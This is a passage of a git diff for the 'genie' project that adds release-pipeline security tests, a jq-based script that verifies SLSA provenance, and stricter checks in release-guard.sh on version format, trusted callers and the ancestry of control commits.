read('.github/workflows/commitlint.yml'); + expect(commitlint).not.toContain('wagoid/commitlint-github-action'); + expect(commitlint).toContain('bun install --frozen-lockfile --ignore-scripts'); + expect(commitlint).toContain('bun x --no-install commitlint'); + expect(commitlint).toContain('git cat-file -e "${BASE_SHA}^{commit}"'); + const docs = read('.github/workflows/docs-lint.yml'); + expect(docs).toContain('oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6'); + expect(docs).toContain('bun install --frozen-lockfile --ignore-scripts'); + expect(docs).not.toContain('bunx '); + const pkg = JSON.parse(read('package.json')) as { devDependencies: Record }; + expect(pkg.devDependencies['@commitlint/cli']).toBeDefined(); + expect(pkg.devDependencies['@commitlint/config-conventional']).toBeDefined(); + expect(pkg.devDependencies['markdownlint-cli2']).toBe('0.23.0'); + expect(pkg.devDependencies['markdown-link-check']).toBe('3.14.2'); + }); + + test('secret-bearing CI never delegates to a mutable container tag', () => { + const workflow = read('.github/workflows/ci.yml'); + const action = read('.github/actions/ggshield/action.yml'); + expect(workflow).toContain('uses: ./.github/actions/ggshield'); + expect(workflow).not.toContain('GitGuardian/ggshield-action@'); + expect(action).toContain( + 'docker://gitguardian/ggshield@sha256:11057725f4a47b587735351b69b1873435bf393050f946916ef05b1b0c4b1cf4', + ); + expect(action).not.toMatch(/image:\s*docker:\/\/[^\s@]+:[^\s]+/); + }); + + test('every workflow pins its top-level token permissions in repository code', () => { + for (const name of readdirSync(join(ROOT, '.github/workflows')).filter((entry) => entry.endsWith('.yml'))) { + expect(read(`.github/workflows/${name}`), name).toMatch(/^permissions:(?:\s*\{\}|\n)/m); + } + }); + + test('Node setup is immutable in every workflow, including the signed release build', () => { + const pin = 'actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444'; + for (const path of [ + '.github/workflows/audit-next-tag.yml', + '.github/workflows/build-tarballs.yml', + '.github/workflows/ci.yml', + ]) { + expect(read(path)).toContain(pin); + expect(read(path)).not.toMatch(/actions\/setup-node@(?![a-f0-9]{40}\b)/); + } + }); + + test('every remote workflow dependency is commit-pinned except the required exact SLSA builder tag', () => { + const slsaTagException = + 'slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0'; + for (const name of readdirSync(join(ROOT, '.github/workflows')).filter((entry) => entry.endsWith('.yml'))) { + const workflow = read(`.github/workflows/${name}`); + for (const match of workflow.matchAll(/^\s*(?:-\s*)?uses:\s*([^\s#]+)/gm)) { + const reference = match[1]; + if (reference.startsWith('./') || reference === slsaTagException) continue; + expect(reference, `${name}: ${reference}`).toMatch(/@[a-f0-9]{40}$/); + } + } + }); + test('Build Tarballs PR filter covers every release-payload input class', () => { const workflow = read('.github/workflows/build-tarballs.yml'); for (const path of [ @@ -79,16 +279,83 @@ describe('Group E release and documentation contracts', () => { for (const helper of buildHelperInputs()) expect(workflow).toContain(`- '${helper}'`); }); + test('every native release-binary smoke proves the hidden installer transaction syscall', () => { + const workflow = read('.github/workflows/build-tarballs.yml'); + expect(workflow.match(/__install-promote --self-test/g)).toHaveLength(3); + expect(workflow).toContain('"${STAGE}/genie" __install-promote --self-test'); + expect(workflow).toContain('/app/genie __install-promote --self-test'); + expect(read('src/genie.ts')).toContain(".command('__install-promote', { hidden: true })"); + }); + test('release create and promotion paths retain the one-time convergence caveat', () => { const workflow = read('.github/workflows/release-publish.yml'); const helper = read('scripts/reconcile-release-note.sh'); - expect(workflow).toContain('bash scripts/reconcile-release-note.sh'); + const prepare = workflow.indexOf('bash scripts/reconcile-release-note.sh prepare'); + const firstAssets = workflow.indexOf('bash scripts/reconcile-release-assets.sh'); + const finalize = workflow.indexOf('bash scripts/reconcile-release-note.sh finalize'); + const locked = workflow.indexOf('bash scripts/release-immutability.sh release'); + const lockedAssets = workflow.lastIndexOf('bash scripts/reconcile-release-assets.sh'); + expect(prepare).toBeGreaterThan(-1); + expect(firstAssets).toBeGreaterThan(prepare); + expect(finalize).toBeGreaterThan(firstAssets); + expect(locked).toBeGreaterThan(finalize); + expect(lockedAssets).toBeGreaterThan(locked); + expect(workflow).not.toContain('release-immutability.sh repository'); + expect(workflow).not.toContain('/immutable-releases'); + expect(workflow).not.toContain('--clobber'); + expect(workflow).toContain('name: release-manifests'); + expect(workflow).toContain('ssh-key: ${{ secrets.RELEASE_MANIFESTS_DEPLOY_KEY }}'); + expect(workflow).toContain('[release-manifest]'); + expect(workflow).toContain('cp scripts/reconcile-channel-manifests.sh "$MANIFEST_RECONCILER"'); + expect(workflow).toContain('bash "$MANIFEST_RECONCILER"'); + expect(workflow).toContain('for attempt in 1 2 3 4 5; do'); + expect(workflow).toContain('git push origin "HEAD:refs/heads/main"'); expect(helper).toContain('genie-agent-sync-migration-v1'); expect(helper).toContain('older than `5.260711.6`'); expect(helper).toContain('create_args=(release create'); expect(helper).toContain('gh release edit'); }); + test('channel documentation does not claim unsigned manifests are signed or use GitHub latest as authority', () => { + for (const path of ['README.md', 'SECURITY.md']) { + const source = read(path); + expect(source).not.toContain('signed `.well-known'); + expect(source).toContain('repository-hosted `.well-known'); + expect(source).toContain("GitHub's `/releases/latest`"); + } + }); + + test('immutable-release bootstrap ordering remains explicit and fail-closed', () => { + const security = read('SECURITY.md'); + expect(security).toContain('drain every Version and Release run started under the old `main` workflows'); + expect(security).toContain('before enabling repository immutability'); + expect(security).toContain('before the separately approved merge to `main`'); + expect(security).toContain('must fail closed and must not advance a channel manifest'); + expect(security).toContain('freshly built and published by the merged draft-first release control'); + }); + + test('operator verification docs name only the shipped bundle/provenance verifier', () => { + for (const path of ['SECURITY.md', '.github/ISSUE_TEMPLATE/signing-key-fingerprint.md']) { + const source = read(path); + expect(source).toContain('scripts/verify-release.sh'); + expect(source).toContain('.tar.gz.bundle'); + expect(source).toContain('.tar.gz.intoto.jsonl'); + expect(source).not.toContain('genie sec verify-install'); + expect(source).not.toContain('.tgz.sig'); + expect(source).not.toContain('.tgz.cert'); + expect(source).not.toContain('provenance.intoto.jsonl'); + } + expect(read('scripts/verify-release.sh')).not.toContain('genie sec verify-install'); + for (const path of ['.well-known/security.txt', '.github/cosign.pub']) { + expect(read(path)).not.toContain('genie sec verify-install'); + } + const issueTemplate = read('.github/ISSUE_TEMPLATE/signing-key-fingerprint.md'); + expect(issueTemplate).toContain('privacidade@namastex.ai'); + expect(issueTemplate).not.toContain('security@namastex.com'); + expect(read('SECURITY.md')).toContain('six required in-repo witnesses'); + expect(read('scripts/check-fingerprint-pinning.sh')).not.toContain('all four witnesses'); + }); + test('release packaging validates generated hooks and the extracted archive payload', () => { const build = read('scripts/build-binary.sh'); expect(build).toContain('scripts/hook-bundle-parity.ts'); diff --git a/scripts/release-generic-provenance.sh b/scripts/release-generic-provenance.sh new file mode 100644 index 000000000..e96e12ae2 --- /dev/null +++ b/scripts/release-generic-provenance.sh @@ -0,0 +1,138 @@ +#!/usr/bin/env bash + +set -euo pipefail + +: "${RELEASE_REPOSITORY:?RELEASE_REPOSITORY is required}" +: "${VERSION:?VERSION is required}" +[[ "$RELEASE_REPOSITORY" =~ ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$ ]] || exit 2 +[[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]] || exit 2 + +BUILDER_ID='https://github.com/slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@refs/tags/v2.1.0' +CONTROL_URI="git+https://github.com/${RELEASE_REPOSITORY}@refs/heads/main" +STABLE_ENTRY_POINT='.github/workflows/release.yml' +AUTOMATED_ENTRY_POINT='.github/workflows/version.yml' + +verify_common() { + local input="$1" control_sha="$2" entry_point="$3" event_name="$4" + jq -e \ + --arg builder_id "$BUILDER_ID" \ + --arg control_uri "$CONTROL_URI" \ + --arg control_sha "$control_sha" \ + --arg entry_point "$entry_point" \ + --arg event_name "$event_name" \ + ' + type == "object" and + .predicateType == "https://slsa.dev/provenance/v0.2" and + .predicate.builder.id == $builder_id and + .predicate.buildType == "https://github.com/slsa-framework/slsa-github-generator/generic@v1" and + .predicate.invocation.configSource.uri == $control_uri and + .predicate.invocation.configSource.digest.sha1 == $control_sha and + .predicate.invocation.configSource.entryPoint == $entry_point and + .predicate.invocation.environment.github_event_name == $event_name and + .predicate.invocation.environment.github_ref == "refs/heads/main" and + .predicate.invocation.environment.github_sha1 == $control_sha and + any(.predicate.materials[]; + .uri == $control_uri and .digest.sha1 == $control_sha) + ' "$input" >/dev/null +} + +verify_dispatch_parameters() { + local input="$1" require_exact="$2" + local channel="${CHANNEL:-}" source_sha="${SOURCE_SHA:-}" source_branch="${SOURCE_BRANCH:-}" + local source_ci_run_id="${SOURCE_CI_RUN_ID:-}" + if [[ "$require_exact" == "true" ]]; then + jq -e \ + --arg version "$VERSION" \ + --arg channel "$channel" \ + --arg source_sha "$source_sha" \ + --arg source_branch "$source_branch" \ + --arg source_ci_run_id "$source_ci_run_id" \ + ' + .predicate.invocation.parameters.event_inputs.version == $version and + .predicate.invocation.parameters.event_inputs.channel == $channel and + .predicate.invocation.parameters.event_inputs.source_sha == $source_sha and + .predicate.invocation.parameters.event_inputs.source_branch == $source_branch and + .predicate.invocation.parameters.event_inputs.source_ci_run_id == $source_ci_run_id + ' "$input" >/dev/null + else + jq -e \ + --arg version "$VERSION" \ + ' + .predicate.invocation.parameters.event_inputs as $inputs | + $inputs.version == $version and + ($inputs.channel | test("^(stable|homolog|dev)$")) and + ($inputs.source_sha | test("^[0-9a-f]{40}$")) and + ($inputs.source_branch | test("^(main|homolog|dev)$")) and + ($inputs.source_ci_run_id | test("^[0-9]+$")) + ' "$input" >/dev/null + fi +} + +verify_automated_event() { + local input="$1" require_exact="$2" + local source_branch="${SOURCE_BRANCH:-}" source_ci_run_id="${SOURCE_CI_RUN_ID:-}" + jq -e \ + --arg repository "$RELEASE_REPOSITORY" \ + --arg source_branch "$source_branch" \ + --arg source_ci_run_id "$source_ci_run_id" \ + --argjson require_exact "$require_exact" \ + ' + .predicate.invocation.environment.github_event_payload.workflow_run as $run | + ($run.id | tostring | test("^[0-9]+$")) and + $run.path == ".github/workflows/ci.yml" and + $run.event == "push" and + $run.status == "completed" and + $run.conclusion == "success" and + ($run.head_branch | test("^(dev|homolog)$")) and + $run.repository.full_name == $repository and + (if $require_exact then + $run.head_branch == $source_branch and ($run.id | tostring) == $source_ci_run_id + else true end) + ' "$input" >/dev/null +} + +verify_exact() { + local input="${1:-}" + : "${CHANNEL:?CHANNEL is required}" + : "${SOURCE_SHA:?SOURCE_SHA is required}" + : "${SOURCE_BRANCH:?SOURCE_BRANCH is required}" + : "${SOURCE_CI_RUN_ID:?SOURCE_CI_RUN_ID is required}" + : "${CONTROL_SHA:?CONTROL_SHA is required}" + [[ -f "$input" ]] || exit 64 + [[ "$SOURCE_SHA" =~ ^[0-9a-f]{40}$ && "$CONTROL_SHA" =~ ^[0-9a-f]{40}$ ]] || exit 2 + [[ "$SOURCE_CI_RUN_ID" =~ ^[0-9]+$ ]] || exit 2 + case "$CHANNEL" in stable|homolog|dev) ;; *) exit 2 ;; esac + case "$SOURCE_BRANCH" in main|homolog|dev) ;; *) exit 2 ;; esac + if [[ "$CHANNEL" == "stable" ]]; then + verify_common "$input" "$CONTROL_SHA" "$STABLE_ENTRY_POINT" workflow_dispatch + verify_dispatch_parameters "$input" true + else + verify_common "$input" "$CONTROL_SHA" "$AUTOMATED_ENTRY_POINT" workflow_run + verify_automated_event "$input" true + fi +} + +verify_reusable() { + local input="${1:-}" control_sha entry_point + [[ -f "$input" ]] || exit 64 + control_sha="$(jq -er '.predicate.invocation.configSource.digest.sha1 | strings' "$input")" || exit 3 + [[ "$control_sha" =~ ^[0-9a-f]{40}$ ]] || exit 3 + entry_point="$(jq -er '.predicate.invocation.configSource.entryPoint | strings' "$input")" || exit 3 + case "$entry_point" in + "$STABLE_ENTRY_POINT") + verify_common "$input" "$control_sha" "$entry_point" workflow_dispatch + verify_dispatch_parameters "$input" false + ;; + "$AUTOMATED_ENTRY_POINT") + verify_common "$input" "$control_sha" "$entry_point" workflow_run + verify_automated_event "$input" false + ;; + *) exit 3 ;; + esac +} + +case "${1:-}" in + verify-exact) verify_exact "${2:-}" ;; + verify-reusable) verify_reusable "${2:-}" ;; + *) exit 64 ;; +esac diff --git a/scripts/release-generic-provenance.test.ts b/scripts/release-generic-provenance.test.ts new file mode 100644 index 000000000..43a6172fb --- /dev/null +++ b/scripts/release-generic-provenance.test.ts @@ -0,0 +1,172 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +const SCRIPT = join(import.meta.dir, 'release-generic-provenance.sh'); +const CONTROL_SHA = 'b'.repeat(40); +const SOURCE_SHA = 'a'.repeat(40); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function predicate>(invocation: T) { + return { + predicateType: 'https://slsa.dev/provenance/v0.2', + predicate: { + builder: { + id: 'https://github.com/slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@refs/tags/v2.1.0', + }, + buildType: 'https://github.com/slsa-framework/slsa-github-generator/generic@v1', + invocation, + materials: [ + { + uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', + digest: { sha1: CONTROL_SHA }, + }, + ], + }, + }; +} + +function automatedStatement() { + return predicate({ + configSource: { + uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', + digest: { sha1: CONTROL_SHA }, + entryPoint: '.github/workflows/version.yml', + }, + environment: { + github_event_name: 'workflow_run', + github_ref: 'refs/heads/main', + github_sha1: CONTROL_SHA, + github_event_payload: { + workflow_run: { + id: 123456, + path: '.github/workflows/ci.yml', + event: 'push', + status: 'completed', + conclusion: 'success', + head_branch: 'dev', + repository: { full_name: 'automagik-dev/genie' }, + }, + }, + }, + }); +} + +function dispatchStatement() { + return predicate({ + configSource: { + uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', + digest: { sha1: CONTROL_SHA }, + entryPoint: '.github/workflows/release.yml', + }, + parameters: { + event_inputs: { + version: '5.260714.2', + channel: 'stable', + source_sha: SOURCE_SHA, + source_branch: 'main', + source_ci_run_id: '123456', + }, + }, + environment: { + github_event_name: 'workflow_dispatch', + github_ref: 'refs/heads/main', + github_sha1: CONTROL_SHA, + github_event_payload: { inputs: { channel: 'stable' } }, + }, + }); +} + +function invoke(mode: 'verify-exact' | 'verify-reusable', value: unknown, overrides: Record = {}) { + const root = mkdtempSync(join(tmpdir(), 'genie-generic-provenance-')); + roots.push(root); + const path = join(root, 'statement.json'); + writeFileSync(path, JSON.stringify(value)); + return Bun.spawnSync(['bash', SCRIPT, mode, path], { + env: { + ...process.env, + RELEASE_REPOSITORY: 'automagik-dev/genie', + VERSION: '5.260714.2', + CHANNEL: 'dev', + SOURCE_SHA, + SOURCE_BRANCH: 'dev', + SOURCE_CI_RUN_ID: '123456', + CONTROL_SHA, + ...overrides, + }, + stdout: 'pipe', + stderr: 'pipe', + }); +} + +describe('verified generic SLSA provenance policy', () => { + test('binds automated provenance to Version main control and the exact successful CI workflow_run', () => { + expect(invoke('verify-exact', automatedStatement()).exitCode).toBe(0); + }); + + test('binds stable provenance to Release main control and exact human dispatch inputs', () => { + expect( + invoke('verify-exact', dispatchStatement(), { + CHANNEL: 'stable', + SOURCE_BRANCH: 'main', + }).exitCode, + ).toBe(0); + }); + + test('rejects automated control or authorizing CI identity drift in every signed field', () => { + const mutations: Array<(value: ReturnType) => void> = [ + (value) => { + value.predicate.invocation.configSource.digest.sha1 = 'c'.repeat(40); + }, + (value) => { + value.predicate.invocation.environment.github_sha1 = 'c'.repeat(40); + }, + (value) => { + value.predicate.materials[0].digest.sha1 = 'c'.repeat(40); + }, + (value) => { + value.predicate.invocation.configSource.entryPoint = '.github/workflows/other.yml'; + }, + (value) => { + value.predicate.invocation.environment.github_event_name = 'workflow_dispatch'; + }, + (value) => { + value.predicate.invocation.environment.github_event_payload.workflow_run.id = 654321; + }, + (value) => { + value.predicate.invocation.environment.github_event_payload.workflow_run.path = + '.github/workflows/attacker.yml'; + }, + (value) => { + value.predicate.invocation.environment.github_event_payload.workflow_run.repository.full_name = + 'attacker/genie'; + }, + (value) => { + value.predicate.builder.id = 'https://example.invalid/builder'; + }, + ]; + for (const mutate of mutations) { + const value = automatedStatement(); + mutate(value); + expect(invoke('verify-exact', value).exitCode).not.toBe(0); + } + }); + + test('reusable policy accepts both pipeline generations and rejects malformed signed identity', () => { + expect(invoke('verify-reusable', automatedStatement(), { CONTROL_SHA: 'c'.repeat(40) }).exitCode).toBe(0); + expect(invoke('verify-reusable', dispatchStatement(), { CONTROL_SHA: 'c'.repeat(40) }).exitCode).toBe(0); + + const malformed = automatedStatement(); + malformed.predicate.invocation.environment.github_event_payload.workflow_run.head_branch = 'main'; + expect(invoke('verify-reusable', malformed).exitCode).not.toBe(0); + + const wrongType = automatedStatement(); + wrongType.predicateType = 'https://example.invalid/predicate'; + expect(invoke('verify-reusable', wrongType).exitCode).not.toBe(0); + }); +}); diff --git a/scripts/release-guard.sh b/scripts/release-guard.sh index 60d3204d9..4a4cb1c7b 100755 --- a/scripts/release-guard.sh +++ b/scripts/release-guard.sh @@ -8,26 +8,32 @@ # expressions that can never be unit-tested. # # HARD INVARIANT (wish): dev-channel releases must keep publishing end-to-end -# without any manual approval. The guard is a tag-ref requirement on the manual -# `workflow_dispatch` entry points ONLY. The automated dev release path tags the -# freshly-built commit `v` and dispatches release.yml on THAT tag (see -# version.yml), so the dev flow always satisfies the tag guard. Orchestrated -# workflow_call sub-runs pass no run_id and inherit the tag ref, so they are -# never blocked. A tag-ref requirement is the invariant's explicitly permitted -# guard form ("channel == 'stable' (or tag-ref) exemption"). +# without manual approval. Privileged release code itself always runs from the +# trusted default branch; the tag is data, never the workflow ref. The source +# tag/SHA is bound to a successful CI run before build/sign/publish can start. # # Subcommands: # require-dispatch-tag guard a stable-capable workflow_dispatch entry # check-run-provenance validate a gh-api run record (pure, no network) # guard-run-provenance fetch + validate an upstream run_id (uses gh) +# check-trusted-release +# validate trusted-control/source provenance +# check-version-child +# validate the deterministic auto-version delta +# check-control-descendant +# validate manifest-only control ancestry +# check-manifest-equivalent-trees +# allow differences only in channel manifests +# guard-trusted-release fetch + validate the complete release identity # # Exit codes: 0 ok | 3 guard failed (fail closed) | 64 misuse set -euo pipefail -# Version grammar shared with install.sh:parse_version_token and version.yml's -# 5.YYMMDD.N derivation. Tolerates an optional -prerelease / +build suffix. -VERSION_RE='^[0-9]+\.[0-9]+\.[0-9]+([-+][0-9A-Za-z.-]+)?$' -TAG_REF_RE='^refs/tags/v[0-9]+\.[0-9]+\.[0-9]+([-+][0-9A-Za-z.-]+)?$' +# Release publication uses Genie's exact numeric 5.YYMMDD.N scheme. Channels +# carry dev/homolog semantics, so suffix-bearing tags are rejected before any +# asset upload or manifest reconciliation can begin. +VERSION_RE='^5\.[0-9]{6}\.[1-9][0-9]{0,3}$' +TAG_REF_RE='^refs/tags/v5\.[0-9]{6}\.[1-9][0-9]{0,3}$' fail() { printf 'release-guard: %s\n' "$*" >&2; exit 3; } misuse() { printf 'release-guard: %s\n' "$*" >&2; exit 64; } @@ -35,6 +41,361 @@ note() { printf 'release-guard: %s\n' "$*" >&2; } version_from_tag_ref() { printf '%s' "${1#refs/tags/v}"; } +valid_release_version() { + local version="$1" date_part year month day max_day counter + [[ "$version" =~ $VERSION_RE ]] || return 1 + date_part="${version#5.}" + date_part="${date_part%.*}" + counter="${version##*.}" + year=$((2000 + 10#${date_part:0:2})) + month=$((10#${date_part:2:2})) + day=$((10#${date_part:4:2})) + ((counter >= 1 && counter <= 9999)) || return 1 + case "$month" in + 1|3|5|7|8|10|12) max_day=31 ;; + 4|6|9|11) max_day=30 ;; + 2) + max_day=28 + if ((year % 400 == 0 || (year % 4 == 0 && year % 100 != 0))); then max_day=29; fi + ;; + *) return 1 ;; + esac + ((day >= 1 && day <= max_day)) +} + +valid_release_tag_ref() { + local ref="$1" + [[ "$ref" =~ $TAG_REF_RE ]] && valid_release_version "$(version_from_tag_ref "$ref")" +} + +require_release_inputs() { + local event="${EVENT:-}" control_ref="${CONTROL_REF:-}" version="${VERSION:-}" + local channel="${CHANNEL:-}" source_sha="${SOURCE_SHA:-}" source_branch="${SOURCE_BRANCH:-}" + local source_ci_run_id="${SOURCE_CI_RUN_ID:-}" + local dispatch_actor="${DISPATCH_ACTOR:-}" triggering_actor="${TRIGGERING_ACTOR:-}" + local run_attempt="${RUN_ATTEMPT:-}" + local expected_repo="${EXPECTED_REPO:-}" caller_workflow_ref="${CALLER_WORKFLOW_REF:-}" + local caller_workflow_sha="${CALLER_WORKFLOW_SHA:-}" expected_caller + + [[ "$control_ref" == "refs/heads/main" ]] || + fail "privileged release workflow must run from trusted refs/heads/main (got '${control_ref:-}')" + [[ -n "$expected_repo" ]] || misuse "trusted release orchestration needs EXPECTED_REPO" + [[ "$caller_workflow_sha" == "${CONTROL_SHA:-}" ]] || + fail "caller workflow SHA '${caller_workflow_sha:-}' does not match trusted control SHA '${CONTROL_SHA:-}'" + valid_release_version "$version" || fail "version input '${version:-}' fails the release version grammar" + case "$channel" in + stable|homolog|dev) ;; + *) fail "unknown release channel '${channel:-}' (valid: stable, homolog, dev)" ;; + esac + if [[ "$channel" == "stable" ]]; then + [[ "$event" == "workflow_dispatch" ]] || + fail "stable release orchestration is human workflow_dispatch-only (got event='${event:-}')" + expected_caller="${expected_repo}/.github/workflows/release.yml@refs/heads/main" + [[ "$caller_workflow_ref" == "$expected_caller" ]] || + fail "stable release caller '${caller_workflow_ref:-}' is not trusted ${expected_caller}" + [[ -n "$dispatch_actor" && -n "$triggering_actor" ]] || + fail "stable release initiation must carry human actor identity" + [[ "$dispatch_actor" == "$triggering_actor" ]] || + fail "stable releases cannot be re-run by a different triggering actor; start a fresh dispatch" + [[ "$dispatch_actor" != *'[bot]' && "$dispatch_actor" != "github-actions" ]] || + fail "stable releases require a human workflow_dispatch initiator (got '${dispatch_actor}')" + [[ "$run_attempt" == "1" ]] || + fail "stable releases cannot reuse workflow attempt ${run_attempt:-}; start a fresh human dispatch" + else + [[ "$event" == "workflow_run" ]] || + fail "automated ${channel} releases must be called by trusted version workflow_run control (got event='${event:-}')" + expected_caller="${expected_repo}/.github/workflows/version.yml@refs/heads/main" + [[ "$caller_workflow_ref" == "$expected_caller" ]] || + fail "automated ${channel} release caller '${caller_workflow_ref:-}' is not trusted ${expected_caller}" + fi + [[ "$source_sha" =~ ^[0-9a-f]{40}$ ]] || fail "source SHA '${source_sha:-}' is not a full lowercase commit SHA" + case "$source_branch" in + main|homolog|dev) ;; + *) fail "source branch '${source_branch:-}' is not an approved release branch" ;; + esac + [[ "$source_ci_run_id" =~ ^[0-9]+$ ]] || fail "source CI run id '${source_ci_run_id:-}' is not numeric" +} + +check_ci_run_record() { + local json="$1" expected_sha="$2" expected_branch="$3" + local expected_repo="${EXPECTED_REPO:-}" expected_workflow="${EXPECTED_WORKFLOW:-.github/workflows/ci.yml}" + local expected_event="${EXPECTED_SOURCE_EVENT:-push}" + [[ -f "$json" ]] || fail "CI run provenance JSON not found: ${json}" + command -v jq >/dev/null 2>&1 || misuse "jq is required for CI provenance validation" + [[ -n "$expected_repo" ]] || misuse "CI provenance validation needs EXPECTED_REPO" + + jq -e \ + --arg repo "$expected_repo" \ + --arg workflow "$expected_workflow" \ + --arg sha "$expected_sha" \ + --arg branch "$expected_branch" \ + --arg event "$expected_event" \ + '.repository.full_name == $repo and + .path == $workflow and + .status == "completed" and + .conclusion == "success" and + .event == $event and + .head_sha == $sha and + .head_branch == $branch' \ + "$json" >/dev/null || + fail "CI run is not a successful ${expected_event} run for ${expected_repo}/${expected_workflow} at ${expected_branch}@${expected_sha}" +} + +# The auto-version child inherits CI authority only when its complete semantic +# delta is the deterministic version bump produced by version.yml. Comparing +# normalized documents prevents an allowlisted package.json from smuggling a +# script or dependency change past the parent commit's successful CI run. +version_child_matches_parent() { + local parent_sha="$1" child_sha="$2" version="$3" path changed expected child_yaml + expected="$(printf '%s\n' \ + '.claude-plugin/marketplace.json' \ + 'package.json' \ + 'plugins/genie/.claude-plugin/plugin.json' \ + 'plugins/genie/.codex-plugin/plugin.json' \ + 'plugins/genie/package.json' \ + 'plugins/hermes-genie/plugin.yaml' | LC_ALL=C sort)" + changed="$(git diff --name-only "$parent_sha" "$child_sha" -- | LC_ALL=C sort)" || return 1 + [[ "$changed" == "$expected" ]] || return 1 + [[ "$(git show -s --format=%s "$child_sha")" == "chore(version): bump to ${version} [auto-version]" ]] || return 1 + + for path in package.json \ + plugins/genie/.claude-plugin/plugin.json \ + plugins/genie/.codex-plugin/plugin.json \ + plugins/genie/package.json; do + git show "${child_sha}:${path}" | + jq -e --arg version "$version" '.version == $version' >/dev/null || return 1 + cmp -s \ + <(git show "${parent_sha}:${path}" | jq -S -e '.version = "__GENIE_VERSION__"') \ + <(git show "${child_sha}:${path}" | jq -S -e '.version = "__GENIE_VERSION__"') || return 1 + done + + path='.claude-plugin/marketplace.json' + git show "${child_sha}:${path}" | + jq -e --arg version "$version" \ + '([.plugins[]? | select(.name == "genie")] | length) == 1 and + ([.plugins[]? | select(.name == "genie")][0].version == $version)' >/dev/null || return 1 + cmp -s \ + <(git show "${parent_sha}:${path}" | + jq -S -e '.plugins |= map(if .name == "genie" then .version = "__GENIE_VERSION__" else . end)') \ + <(git show "${child_sha}:${path}" | + jq -S -e '.plugins |= map(if .name == "genie" then .version = "__GENIE_VERSION__" else . end)') || return 1 + + path='plugins/hermes-genie/plugin.yaml' + child_yaml="$(git show "${child_sha}:${path}")" || return 1 + [[ "$(printf '%s\n' "$child_yaml" | grep -Ec '^version: [^[:space:]]+$')" == "1" ]] || return 1 + printf '%s\n' "$child_yaml" | grep -Fx "version: ${version}" >/dev/null || return 1 + cmp -s \ + <(git show "${parent_sha}:${path}" | sed -E 's/^version: .+$/version: __GENIE_VERSION__/') \ + <(printf '%s\n' "$child_yaml" | sed -E 's/^version: .+$/version: __GENIE_VERSION__/') || return 1 +} + +check_version_child() { + local parent_sha="${1:-}" child_sha="${2:-}" version="${3:-}" + [[ "$parent_sha" =~ ^[0-9a-f]{40}$ && "$child_sha" =~ ^[0-9a-f]{40}$ ]] || + misuse "check-version-child needs full lowercase parent and child commit SHAs" + valid_release_version "$version" || fail "version input '${version:-}' fails the release version grammar" + command -v git >/dev/null 2>&1 || misuse "git is required for version-child validation" + command -v jq >/dev/null 2>&1 || misuse "jq is required for version-child validation" + version_child_matches_parent "$parent_sha" "$child_sha" "$version" || + fail "${child_sha} is not the deterministic version-only child of ${parent_sha}" + note "ok — deterministic version-only child ${child_sha}" +} + +# release-publish advances main through a dedicated deploy key. The resulting +# push runs CI but is explicitly excluded from auto-version recursion by its +# `[release-manifest]` marker. A concurrent/later release may still begin before +# that CI completes, so a main control descendant inherits authority only when +# an already-CI-approved main commit is an ancestor and the final tree differs +# solely in the three generated channel manifests. Net tree equivalence keeps +# workflow code and every executable input byte-identical to that ancestor. +trees_match_except_channel_manifests() { + local left_sha="$1" right_sha="$2" + git diff --quiet "$left_sha" "$right_sha" -- . \ + ':(exclude).well-known/latest.json' \ + ':(exclude).well-known/homolog.json' \ + ':(exclude).well-known/dev.json' +} + +control_descends_only_by_manifests() { + local ci_sha="$1" control_sha="$2" + git merge-base --is-ancestor "$ci_sha" "$control_sha" 2>/dev/null || return 1 + trees_match_except_channel_manifests "$ci_sha" "$control_sha" +} + +check_control_descendant() { + local ci_sha="${1:-}" control_sha="${2:-}" + [[ "$ci_sha" =~ ^[0-9a-f]{40}$ && "$control_sha" =~ ^[0-9a-f]{40}$ ]] || + misuse "check-control-descendant needs full lowercase CI and control commit SHAs" + command -v git >/dev/null 2>&1 || misuse "git is required for control-descendant validation" + control_descends_only_by_manifests "$ci_sha" "$control_sha" || + fail "control ${control_sha} is not a manifest-only descendant of CI-approved ${ci_sha}" + note "ok — manifest-only control descendant ${control_sha} inherits ${ci_sha}" +} + +check_manifest_equivalent_trees() { + local left_sha="${1:-}" right_sha="${2:-}" + [[ "$left_sha" =~ ^[0-9a-f]{40}$ && "$right_sha" =~ ^[0-9a-f]{40}$ ]] || + misuse "check-manifest-equivalent-trees needs two full lowercase commit SHAs" + command -v git >/dev/null 2>&1 || misuse "git is required for manifest-equivalence validation" + trees_match_except_channel_manifests "$left_sha" "$right_sha" || + fail "trees differ outside the three generated channel manifests" + note "ok — trees differ only by generated channel manifests" +} + +check_dev_reachability() { + local source_sha="${1:-}" dev_ref="${2:-refs/remotes/origin/dev}" + [[ "$source_sha" =~ ^[0-9a-f]{40}$ ]] || misuse "check-dev-reachability needs a full lowercase source SHA" + command -v git >/dev/null 2>&1 || misuse "git is required for dev reachability validation" + git cat-file -e "${dev_ref}^{commit}" 2>/dev/null || fail "authoritative dev ref ${dev_ref} is unavailable" + # Consume the complete rev-list stream. Under pipefail, grep -q can close a + # long-history pipe early and turn git's resulting SIGPIPE into a false deny. + git rev-list --first-parent "$dev_ref" | awk -v source="$source_sha" '$0 == source { found = 1 } END { exit !found }' || + fail "dev source ${source_sha} is not on the authoritative ${dev_ref} first-parent chain" + note "ok — dev source ${source_sha} is on the ${dev_ref} first-parent chain" +} + +# Pure half of the trusted-release guard. The source run is addressed by an +# explicit run id; the control-runs document is the successful main CI listing. +# ACTUAL_TAG_SHA is resolved separately from the remote tag, never trusted from +# a workflow input. +check_trusted_release() { + local source_json="${1:-}" control_json="${2:-}" + [[ -n "$source_json" && -n "$control_json" ]] || + misuse "check-trusted-release needs source-run and control-runs JSON files" + require_release_inputs + + local 